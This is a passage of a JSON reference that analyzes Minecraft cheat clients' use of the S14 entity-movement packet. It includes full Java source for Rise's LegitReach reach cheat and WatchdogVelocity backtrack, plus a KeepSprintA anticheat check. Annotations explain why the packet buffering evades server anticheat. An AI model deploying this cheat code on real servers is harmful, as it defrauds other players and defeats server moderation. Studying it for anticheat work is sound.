      "p": "The 8-client corpus shows three consumer families, none of them ESP. Rise 6.x combat: LegitReach accumulates a server-truth realPosition from S14 deltas for its ping-spoof reach, and WatchdogVelocity buffers the S15/S16/S17 subclasses and replays them for its Watchdog Backtrack mode. Rise 6.x infrastructure: the translation component's PacketType enum maps ENTITY_REL_MOVE, ENTITY_LOOK_MOVE and ENTITY_LOOK into a per-entity position cache, and PingSpoofComponent classifies all S14 subclasses in its players tuple. Rise 5.99 anticheat: PlayerData re-derives position, deltas and onGround from S15/S17 and feeds KeepSprintA, SpeedA, EagleA and GroundSpoofA/B. Memeware, Nekoware, Sigma, Spicy and Tenacity reference the packet only through the vanilla handler. LiquidSense Dev consumes the stream for bot detection: AntiBot records per-entity ground/air/invaildGround flags from the S14 onGround bit, and its MixinNetHandlerPlayClient fires an EntityMovementEvent from handleEntityMovement for modules that react to entity movement. November Recode 2.0 has no S14 corpus hit; it processes the packet through the vanilla handler only."
     },
     {
      "h": "Exploit surface",
      "p": "Relative deltas are trusted per packet and corrected only by S18, which makes the S14 stream the raw material of every position-based client-side simulation: reach modules reconstruct the opponent's true position, anticheats reconstruct it to verify onGround transitions and speed. The onGround bit is authoritative for the tick it arrives in, which is exactly what GroundSpoofA/B and EagleA test. Reach exploits work through latency: LegitReach delays all player-class packets so the server keeps a stale player position while the client attacks from a closer interpolated one. Dropping or reordering S14 packets is invisible to the server because they are clientbound state announcements with no acknowledgement."
     }
    ],
    "overview": "The relative movement family (S15/S16/S17 under the S14 base) is the highest-frequency entity state in the play state. In the 8 clients it feeds three things: Rise 6.x reach and backtrack modules that rebuild a server-truth position, Rise 6.x packet-classification components, and the Rise 5.99 built-in anticheat that replays server-side style checks against the reconstructed position stream. LiquidSense Dev's AntiBot reads the same stream to classify bots by onGround transitions.",
    "server_handling": "The server never processes S14 on receive; it is purely clientbound. The client handler accumulates: entity.serverPosX += posX (and Y/Z), position = serverPos / 32.0, rotation kept unless S16/S17 carry bytes, then setPositionAndRotation2(..., 3, false) and entity.onGround = packet onGround. Because the accumulation never resets, any dropped packet permanently shifts the entity by its delta until an S18 arrives. EntityTrackerEntry emits S15/S16/S17 at the tracking update rate (every 2 ticks for players, more often for fast entities) and switches to S18 once the one-tick displacement exceeds the 4-block threshold.",
    "protocol_notes": "Deltas are signed bytes x 32, so a single packet moves an entity at most 3.97 blocks per axis; rotation bytes decode as yaw * 360 / 256. The onGround flag is present on the base class and therefore on all three subclasses. S16 (look) and S17 (look-move) are the only places the body yaw/pitch of a tracked entity changes; S19PacketEntityHeadLook separately updates only the head yaw. There is no ordering guarantee between S14 and S18 for the same entity; a teleport supersedes any pending deltas because it overwrites serverPosX/Y/Z.",
    "anticheat_landscape": "Client-side anticheats (Rise 5.99) and server anticheats both treat the S14 stream as ground truth for movement verification. Ground-spoof detection keys on the onGround flag combined with block probes; eagle detection on the sneak flag in the S1C metadata stream timed against S14 ticks; keepsprint on the speed delta around S0B animations. For cheat clients, the S14 stream is what makes ping-spoof reach and backtrack possible: buffering it has zero server cost, and the server cannot distinguish a delayed entity stream from lag. The trade-off is visual, not statistical: held entity packets produce stutter and frozen-head artifacts that staff can spot.",
    "modules": [
     {
      "name": "LegitReach",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Extend effective attack range by ping-spoofing the server's view of the player while the opponent's real position is tracked from the S14/S18 stream.",
      "how_it_works": "On PostMotionEvent it picks the nearest target (TargetComponent.getTargets(9)). realPosition is seeded from the entity's client position and then maintained on PacketReceiveEvent: S14 deltas are added via getPosX() / 32D, S18 snaps it to absolute coordinates. When realDistance exceeds clientDistance and lands inside 2.3-5.9 blocks, it calls PingSpoofComponent.spoof(maxPingSpoof, true, true, true, true) so all incoming player-class packets are parked for up to the configured milliseconds; otherwise it disables and dispatches the component. Render3DEvent draws the real-location bounding box with eased animation.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/LegitReach.java =====\npackage com.alan.clients.module.impl.combat;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.animation.Animation;\nimport com.alan.clients.util.animation.Easing;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S18PacketEntityTeleport;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.opengl.GL11;\n\nimport java.util.List;\n\n@ModuleInfo(aliases = {\"module.combat.legitreach.name\", \"Back Track\"}, description = \"module.combat.legitreach.description\", category = Category.COMBAT)\npublic final class LegitReach extends Module {\n\n    public NumberValue maxPingSpoof = new NumberValue(\"Max Ping Spoof\", this, 1000, 50, 10000, 1);\n    public BooleanValue render = new BooleanValue(\"Render Real Location\", this, true);\n    private Vec3 realPosition = new Vec3(0, 0, 0);\n    private final Animation animatedX = new Animation(Easing.LINEAR, 50);\n    private final Animation animatedY = new Animation(Easing.LINEAR, 50);\n    private final Animation animatedZ = new Animation(Easing.LINEAR, 50);\n    public Entity targetEntity;\n    public boolean isActive;\n    @EventLink()\n    public final Listener<PostMotionEvent> onPost = event -> {\n        // Getting targets and selecting the nearest one\n        List<EntityLivingBase> targets = TargetComponent.getTargets(9);\n\n        if (targets.isEmpty()) {\n            isActive = true;\n            targetEntity = null;\n            return;\n        }\n\n        Entity entity = targets.get(0);\n        if (entity != targetEntity) {\n            targetEntity = entity;\n\n            realPosition.xCoord = entity.posX;\n            realPosition.yCoord = entity.posY;\n            realPosition.zCoord = entity.posZ;\n        }\n\n        if (targetEntity == null || !(mc.thePlayer.isSwingInProgress || getModule(KillAura.class).isEnabled())) {\n            return;\n        }\n\n        double realDistance = realPosition.distanceTo(mc.thePlayer);\n        double clientDistance = targetEntity.getDistanceToEntity(mc.thePlayer);\n\n        boolean on = realDistance > clientDistance && realDistance > 2.3 && realDistance < 5.9;\n\n        if (on) {\n            PingSpoofComponent.spoof(maxPingSpoof.getValue().intValue(), true, true, true, true);\n        } else {\n            PingSpoofComponent.disable();\n            PingSpoofComponent.dispatch();\n        }\n    };\n\n    @EventLink()\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (targetEntity == null) {\n            return;\n        }\n\n        if (packet instanceof S14PacketEntity) {\n            S14PacketEntity s14PacketEntity = ((S14PacketEntity) packet);\n\n            if (s14PacketEntity.entityId == targetEntity.getEntityId()) {\n                realPosition.xCoord += s14PacketEntity.getPosX() / 32D;\n                realPosition.yCoord += s14PacketEntity.getPosY() / 32D;\n                realPosition.zCoord += s14PacketEntity.getPosZ() / 32D;\n            }\n        } else if (packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport s18PacketEntityTeleport = ((S18PacketEntityTeleport) packet);\n\n            if (s18PacketEntityTeleport.getEntityId() == targetEntity.getEntityId()) {\n                realPosition = new Vec3(s18PacketEntityTeleport.getX() / 32D, s18PacketEntityTeleport.getY() / 32D, s18PacketEntityTeleport.getZ() / 32D);\n            }\n        }\n    };\n\n    @EventLink()\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        if (targetEntity == null || !render.getValue()) {\n            return;\n        }\n\n        animatedX.setDuration(150);\n        animatedY.setDuration(150);\n        animatedZ.setDuration(150);\n\n        animatedX.run(realPosition.xCoord);\n        animatedY.run(realPosition.yCoord);\n        animatedZ.run(realPosition.zCoord);\n\n        GlStateManager.pushMatrix();\n        GlStateManager.pushAttrib();\n        GlStateManager.enableBlend();\n        GlStateManager.disableTexture2D();\n        GlStateManager.disableLighting();\n        GL11.glDepthMask(false);\n\n        double expand = 0.14;\n        RenderUtil.color(ColorUtil.withAlpha(getTheme().getFirstColor(), 50));\n\n        RenderUtil.drawBoundingBox(mc.thePlayer.getEntityBoundingBox().offset(-mc.thePlayer.posX, -mc.thePlayer.posY, -mc.thePlayer.posZ).\n                offset(animatedX.getValue(), animatedY.getValue(), animatedZ.getValue()).expand(expand, expand, expand));\n\n        GlStateManager.enableTexture2D();\n        GlStateManager.enableLighting();\n        GlStateManager.disableBlend();\n        GL11.glDepthMask(true);\n        GlStateManager.popAttrib();\n        GlStateManager.popMatrix();\n        GlStateManager.resetColor();\n    };\n}\n\n// NOTE (AI): realPosition is the server-truth position of the target, rebuilt from S14 deltas and S18\n// NOTE (AI): absolutes while the renderer entity interpolates normally. The reach window opens when the\n// NOTE (AI): real distance exceeds the client distance inside 2.3-5.9 blocks; PingSpoofComponent.spoof\n// NOTE (AI): then delays all incoming player-class packets for up to maxPingSpoof ms, which keeps the\n// NOTE (AI): server-side player position stale while the client hits from the closer interpolated spot.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/LegitReach.java",
      "vanilla_hook": "PacketReceiveEvent, PostMotionEvent, Render3DEvent.",
      "anti_cheat_notes": "The server never sees the S14 packets (clientbound), so the exploit is purely about the server's measured player position going stale. Servers that timestamp hits against the latest player position defeat it; Watchdog-style anticheats that confirm position before damage registration flag the hit timing.",
      "variations": "Rise 6.1.30 ships the identical module (same package and class); the only difference is the corpus path (com/alan/clients/... without the Client-release2 prefix)."
     },
     {
      "name": "WatchdogVelocity",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Velocity cancel combined with an entity backtrack: the S14 subclasses are held and replayed to keep the client and server entity timelines deliberately divergent.",
      "how_it_works": "On PacketReceiveEvent, S12 velocity for self is cancelled (with a stacking option), C0F/C00 are held while active, and with Watchdog Backtrack enabled the three S14 subclasses plus S19PacketEntityHeadLook and S18PacketEntityTeleport are cancelled and queued. The queue is replayed through PacketUtil.receive after 100-250 ms, when the distance to the tracked realPosition crosses the 4.5/2.5 thresholds, when the player takes damage (hurtTime == 9), or during the first 100 ticks of a world. realPosition is accumulated from S14 and re-anchored by S18.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.*;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.impl.combat.Criticals;\nimport com.alan.clients.module.impl.combat.KillAura;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.module.impl.render.chat.Chat;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.opengl.GL11;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n\n\npublic final class WatchdogVelocity extends Mode<Velocity> {\n\n    public WatchdogVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n    private long active2StartTime = -1; // Tracks when active2 was set to true\n    boolean active2 = false;\n    boolean send = false;\n    public final BooleanValue stack = new BooleanValue(\"Stack\", this, true);\n\n    public final BooleanValue spoof = new BooleanValue(\"Ping Spoof\", this, true);\n\n    public final BooleanValue spoof2 = new BooleanValue(\"Watchdog Backtrack\", this, false);\n\n    public final BooleanValue boost = new BooleanValue(\"Damage Boost (not for hypixel)\", this, false);\n\n    private final NumberValue speed = new NumberValue(\"Damage Boost Speed\", this, 1, 1, 10, .01);\n    private boolean active, receiving, buffer;\n    private Vec3 realPosition = new Vec3(0, 0, 0);\n    public Entity targetEntity;\n    private int amount;\n    private final ArrayList<Packet<?>> packets = new ArrayList<>();\n    private boolean isSpoof2Packet(Packet<?> packet) {\n        return packet instanceof S14PacketEntity.S16PacketEntityLook ||\n                packet instanceof S14PacketEntity.S15PacketEntityRelMove ||\n                packet instanceof S14PacketEntity.S17PacketEntityLookMove ||\n                packet instanceof S19PacketEntityHeadLook ||\n                packet instanceof S18PacketEntityTeleport;\n    }\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n\n        if (receiving || getModule(LongJump.class).isEnabled() && mc.thePlayer.offGroundTicks<29 || getModule(Flight.class).isEnabled()) return;\n\n        switch (event.getPacket()) {\n            case S12PacketEntityVelocity velocity -> {\n\n                if (velocity.getEntityID() == mc.thePlayer.getEntityId()) {\n                    if (stack.getValue() && amount < 1 && (!mc.thePlayer.onGround) && Math.random() < 0.73 && !(mc.thePlayer.offGroundTicks > 13) || mc.thePlayer.inWater  || (getModule(Scaffold.class).isEnabled() )) {\n                        amount++;\n                        buffer = true;\n                        //   ChatUtil.display(\"stack\");\n                        event.setCancelled();\n                        buffer = false;\n\n                    }\n                    if (!event.isCancelled() && (!getModule(Scaffold.class).isEnabled() ) && !(mc.thePlayer.offGroundTicks > 11) && ((!mc.thePlayer.onGround ) || (mc.thePlayer.onGround && !MoveUtil.isMoving())) &&  !(velocity.getMotionY()/800D < .08 && !(getModule(Speed.class).isEnabled() || mc.thePlayer.inWater || !mc.thePlayer.isInLava()) )) {\n                        amount = 0;\n                        active = true;\n                        //  ChatUtil.display(\"Set Active\");\n                        packets.add(velocity);\n\n                        event.setCancelled();\n\n                    } else if (!event.isCancelled() ) {\n                        if((!getModule(Scaffold.class).isEnabled() )){\n                            mc.thePlayer.motionY = velocity.getMotionY() / 8000.0D;\n                        }\n\n                        //      ChatUtil.display(\"normal\");\n                        event.setCancelled();\n                    }\n\n\n                }\n\n            }\n\n            case S32PacketConfirmTransaction transaction -> {\n                if (active && spoof.getValue()) {\n                    packets.add(transaction);\n                    event.setCancelled();\n                    // PingSpoofComponent.spoof(50, true, false, false, false, false, false);\n                }\n\n            }\n\n            case S00PacketKeepAlive keepAlive -> {\n                if (active && spoof.getValue()) {\n                    //   packets.add(keepAlive);\n                        event.setCancelled();\n                }\n            }\n\n\n            case S14PacketEntity.S16PacketEntityLook s16PacketEntityLook -> {\n                if ((active2 || active)  && spoof2.getValue() && !send) {\n                    packets.add(s16PacketEntityLook);\n                    event.setCancelled();\n                }\n            }\n            case S14PacketEntity.S15PacketEntityRelMove s15PacketEntityRelMove -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s15PacketEntityRelMove);\n                    event.setCancelled();\n                }\n            }\n            case S14PacketEntity.S17PacketEntityLookMove s17PacketEntityLookMove -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s17PacketEntityLookMove);\n                    event.setCancelled();\n                }\n            }\n\n\n\n            case S19PacketEntityHeadLook s19PacketEntityHeadLook -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s19PacketEntityHeadLook);\n                    event.setCancelled();\n                }\n            }\n\n\n\n            default -> {\n            }\n\n        }\n        List<EntityLivingBase> targets = TargetComponent.getTargets(12);\n        targets.sort(Comparator.comparingDouble(entity -> entity.hurtTime));\n        if (targets.isEmpty()) {\n            targetEntity = null;\n            // Add logic here to reset or flush your spoof2 states.\n            // For example:\n            if (spoof2.getValue()) {\n                receiving = true;\n                packets.stream().filter(this::isSpoof2Packet).forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n                active2 = false;\n                send = false;\n            }\n            return;\n        }\n        Entity entity = targets.get(0);\n\n\n\n\n        if (spoof2.getValue()) {\n\n\n\n\n\n\n\n\n            if (entity != targetEntity) {\n                targetEntity = entity;\n\n                realPosition.xCoord = entity.posX;\n                realPosition.yCoord = entity.posY;\n                realPosition.zCoord = entity.posZ;\n            }\n\n\n\n\n\n            Vec3 playerEyesPos = mc.thePlayer.getPositionEyes(1.0F);\n            Vec3 targetEyesPos = new Vec3(realPosition.xCoord, realPosition.yCoord, realPosition.zCoord);\n            double distance = playerEyesPos.distanceTo(targetEyesPos);\n\n            if ((distance > 4.5) && active || mc.thePlayer.offGroundTicks>9 && active) {\n                send = true;\n            } else if(active){\n                send = false;\n            }\n//ChatUtil.display(distance);\n            active2 = distance < 4.5;\nif( mc.thePlayer.isSwingInProgress && distance>3.1&& distance<4.5 && getModule(KillAura.class).isEnabled()){\n  // ChatUtil.display(\"reach:\" + distance);\n}\n\n\n\n\n            if (active2) {\n                // Check if this is the first frame where active2 is true\n                if (active2StartTime == -1) {\n                    active2StartTime = System.currentTimeMillis(); // Record the starting time\n                }\n\n                // Check if 200ms has passed\n                if (System.currentTimeMillis() - active2StartTime >= Math.round((Math.random()*150))+100) {\n                    receiving = true;\n                    packets.stream()\n                            .filter(this::isSpoof2Packet)\n                            .forEach(PacketUtil::receive);\n                    packets.clear();\n                    receiving = false;\n\n               //     ChatUtil.display(mc.thePlayer.ticksExisted);\n\n                    // Reset active2 and timer\n                    active2 = false;\n                    active2StartTime = -1;\n                }\n            } else {\n                // Reset the timer if active2 is false\n                active2StartTime = -1;\n            }\n\n            if (send && active) {\n               // ChatUtil.display(send);\n                active2 = false; // If active2 is set to false, reset the timer\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if(mc.thePlayer.ticksExisted<100){\n                active2 = false; // If active2 is set to false, reset the timer\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if (mc.thePlayer.hurtTime == 9) {\n               // ChatUtil.display(send);\n                active2 = false;\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n            if ((distance < 2.5)) {\n                active2 = false;\n                //  ChatUtil.display(send);\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if ((distance > 4.5)) {\n                active2 = false;\n              //  ChatUtil.display(send);\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n            final Packet<?> packet = event.getPacket();\n            if (packet instanceof S14PacketEntity) {\n                S14PacketEntity s14PacketEntity = ((S14PacketEntity) packet);\n\n                if (s14PacketEntity.entityId == targetEntity.getEntityId()) {\n                    realPosition.xCoord += s14PacketEntity.getPosX() / 32D;\n                    realPosition.yCoord += s14PacketEntity.getPosY() / 32D;\n                    realPosition.zCoord += s14PacketEntity.getPosZ() / 32D;\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport s18PacketEntityTeleport = ((S18PacketEntityTeleport) packet);\n\n                if (s18PacketEntityTeleport.getEntityId() == targetEntity.getEntityId()) {\n                    realPosition = new Vec3(s18PacketEntityTeleport.getX() / 32D, s18PacketEntityTeleport.getY() / 32D, s18PacketEntityTeleport.getZ() / 32D);\n                }\n            }\n        }\n\n\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<JumpEvent> onJump = event -> {\n        if (mc.thePlayer.onGround && active) {\n            active = false;\n            //  ChatUtil.display(\"Set Active\");\n            receiving = true;\n            send = false;\n            //  MoveUtil.strafe(MovdeUtil.getbaseMoveSpeed() + Math.random() / 10);\n            //   mc.thePlayer.jump();\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n\n            if (!boost.getValue()) {\n                mc.thePlayer.motionX = motion.getX();\n                mc.thePlayer.motionZ = motion.getY();\n            } else {\n                MoveUtil.strafe();\n                mc.thePlayer.motionX *= speed.getValue().doubleValue();\n                mc.thePlayer.motionZ *= speed.getValue().doubleValue();\n\n            }\n\n            receiving = false;\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if(active2 && !active && spoof2.getValue()){\n            PingSpoofComponent.spoof(50, true, false, false, false, true, false);\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<StrafeEvent> onStrafe = event -> {\n\n\n\n        if (mc.thePlayer.onGround && active && !mc.thePlayer.isJumping) {\n            active = false;\n\n            receiving = true;\n            send = false;\n            //   MoveUtil.strafe(MoveUtil.WALK_SPEED);\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            double motiony = mc.thePlayer.motionY;\n         //   PingSpoofComponent.dispatch();\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n            mc.thePlayer.jump();\n            //  PingSpoofComponent.dispatch();\n            mc.thePlayer.motionX = motion.getX();\n            mc.thePlayer.motionZ = motion.getY();\n\n            //  active = false;\n            receiving = false;\n            // receiving = true;\n            //   Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            // packets.forEach(PacketUtil::receive);\n            //  ChatUtil.display(\"normal\");\n            // packets.clear();\n            //  mc.thePlayer.motionX = motion.getX();\n            //  mc.thePlayer.motionZ = motion.getY();\n            //   receiving = false;\n        }\n\n    };\n\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PostStrafeEvent> onPostStrafe = event -> {\n\n        if (mc.thePlayer.offGroundTicks > 12 && active) {\n            active = false;\n\n            receiving = true;\n            //  MoveUtil.strafe(MoveUtil.getbaseMoveSpeed() + Math.random() / 10);\n            //   mc.thePlayer.jump();\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            double motiony = mc.thePlayer.motionY;\n         //   PingSpoofComponent.dispatch();\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n            //  PingSpoofComponent.dispatch();\n            mc.thePlayer.motionX = motion.getX();\n            mc.thePlayer.motionZ = motion.getY();\n            //  mc.thePlayer.motionY = motiony;\n            receiving = false;\n        }\n    };\n    @EventLink()\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        if (targetEntity == null || !spoof2.getValue() || (!active2 && !active)) {\n            return;\n        }\n\n\n        GlStateManager.pushMatrix();\n        GlStateManager.pushAttrib();\n        GlStateManager.enableBlend();\n        GlStateManager.disableTexture2D();\n        GlStateManager.disableLighting();\n        GL11.glDepthMask(false);\n\n        double expand = -0.14;\n        RenderUtil.color(Color.red, 45);\n\n        RenderUtil.drawBoundingBox(mc.thePlayer.getEntityBoundingBox()\n                .offset(-mc.thePlayer.posX, -mc.thePlayer.posY, -mc.thePlayer.posZ)\n                .offset(realPosition.xCoord, realPosition.yCoord, realPosition.zCoord)\n                .expand(expand, -.3, expand));\n\n\n        GlStateManager.enableTexture2D();\n        GlStateManager.enableLighting();\n        GlStateManager.disableBlend();\n        GL11.glDepthMask(true);\n        GlStateManager.popAttrib();\n        GlStateManager.popMatrix();\n        GlStateManager.resetColor();\n    };\n\n}\n\n// NOTE (AI): The Watchdog Backtrack path cancels the S14 subclasses plus S19PacketEntityHeadLook and\n// NOTE (AI): S18PacketEntityTeleport for the nearest target and replays them through PacketUtil.receive\n// NOTE (AI): after 100-250 ms or when the distance to the tracked realPosition crosses the 4.5/2.5\n// NOTE (AI): thresholds. Buffering clientbound packets is invisible to the server, which is why the\n// NOTE (AI): module can hold the target's movement state without raising flags.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogVelocity.java",
      "vanilla_hook": "PacketReceiveEvent, JumpEvent, PreUpdateEvent, StrafeEvent, PostStrafeEvent, Render3DEvent.",
      "anti_cheat_notes": "Buffering clientbound packets is invisible to the server, so the backtrack itself never flags. The velocity-cancel half is the detectable part: a missing motionY after a confirmed hurt status is the classic flag, which is why the module gates cancellation on offGroundTicks, water and scaffold state.",
      "variations": "Rise 6.1.30 does not reference the S14 subclasses in its WatchdogVelocity (the corpus hit is 6.2.4 only)."
     },
     {
      "name": "KeepSprintA / GroundSpoofA (Rise anticheat)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Client-side reproductions of server anticheat checks; the S14 stream is their movement clock and position source.",
      "how_it_works": "PlayerData.handle converts S15/S17 deltas into per-tick position, deltas and onGround (block probes at y - 0.43 and y - 0.99). KeepSprintA times S0B arm swings against S14 ticks, samples horizontal speed into attackingSamples vs beforeAttackingSamples and fails when the attack-period average exceeds the baseline by more than 0.15 while on ground. GroundSpoofA/B and SpeedA consume the same reconstructed state. EagleA is documented under S1CPacketEntityMetadata because it needs the sneak flag from the metadata stream.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/anticheat/check/impl/combat/keepsprint/KeepSprintA.java =====\npackage dev.rise.anticheat.check.impl.combat.keepsprint;\n\nimport dev.rise.anticheat.check.Check;\nimport dev.rise.anticheat.check.api.CheckInfo;\nimport dev.rise.anticheat.data.PlayerData;\nimport dev.rise.util.misc.EvictingList;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S0BPacketAnimation;\nimport net.minecraft.network.play.server.S14PacketEntity;\n\n@CheckInfo(name = \"KeepSprint\", type = \"A\", description = \"Detects sprinting whilst attacking\")\npublic final class KeepSprintA extends Check {\n\n    private final EvictingList<Double> beforeAttackingSamples = new EvictingList<>(4);\n    private final EvictingList<Double> attackingSamples = new EvictingList<>(4);\n    private int ticksSinceAttack;\n    private int ticksSinceSwing;\n\n    public KeepSprintA(final PlayerData data) {\n        super(data);\n    }\n\n    @Override\n    public void handle(final Packet<?> packet) {\n        if (packet instanceof S0BPacketAnimation) {\n            final S0BPacketAnimation wrapper = ((S0BPacketAnimation) packet);\n\n            /*\n             * Check if the packet incoming has the data for our player we are currently checking.\n             * We can do this by comparing the entity id on the packet itself and our PlayerData object.\n             */\n            if (wrapper.getEntityID() != data.getPlayer().getEntityId()) return;\n\n            /*\n             * Arm animations id is 0, so we are checking if the animation\n             * type is 0, and then we can start running the math for it.\n             */\n            if (wrapper.getAnimationType() == 0) {\n                ticksSinceSwing = 0;\n            }\n        }\n\n        if (packet instanceof S14PacketEntity) {\n            final S14PacketEntity wrapper = ((S14PacketEntity) packet);\n            if (data.getPlayer().getEntityId() != wrapper.entityId) return;\n\n            ticksSinceAttack++;\n            ticksSinceSwing++;\n            final double speed = Math.hypot(data.getDeltaX(), data.getDeltaZ());\n\n            if (ticksSinceSwing <= 2) {\n                for (final EntityPlayer player : mc.theWorld.playerEntities) {\n                    if (player.hurtTime >= 7 && player != data.getPlayer() && player.getDistanceToEntity(data.getPlayer()) < 9) {\n                        ticksSinceAttack = 0;\n                    }\n                }\n            }\n\n            if (ticksSinceAttack <= 5) {\n                attackingSamples.add(speed);\n            } else {\n                beforeAttackingSamples.add(speed);\n            }\n\n            if (ticksSinceAttack >= 9) return;\n\n            final double average = averageSpeed(beforeAttackingSamples);\n            final double averageAttacking = averageSpeed(attackingSamples);\n            final double diff = averageAttacking - average;\n            if (diff > 0.15 && average > 0.24 && averageAttacking != 0 && beforeAttackingSamples.size() >= 4 && attackingSamples.size() >= 4 && data.isOnGround()) {\n                increaseBuffer();\n                if (buffer >= 15) {\n                    fail();\n                }\n            } else {\n                decreaseBufferBy(1);\n            }\n        }\n    }\n\n    private double averageSpeed(final EvictingList<Double> list) {\n        double combined = 0;\n        for (final double speed : list) {\n            combined += speed;\n        }\n        return combined / list.size();\n    }\n}\n\n// NOTE (AI): Part of Rise 5.99's built-in anticheat, which re-derives every tracked player's position\n// NOTE (AI): from the S14 relative-move stream in PlayerData.handle. KeepSprintA uses S14 as its tick\n// NOTE (AI): clock: it samples horizontal speed before and after an S0B arm swing and fails when the\n// NOTE (AI): post-attack average exceeds the pre-attack baseline by more than 0.15 blocks/tick.\n",
      "code_source": "Rise 5.99, dev/rise/anticheat/check/impl/combat/keepsprint/KeepSprintA.java",
      "vanilla_hook": "Raw packet stream via PlayerData.handle (no event bus); S14, S18, S12, S0B.",
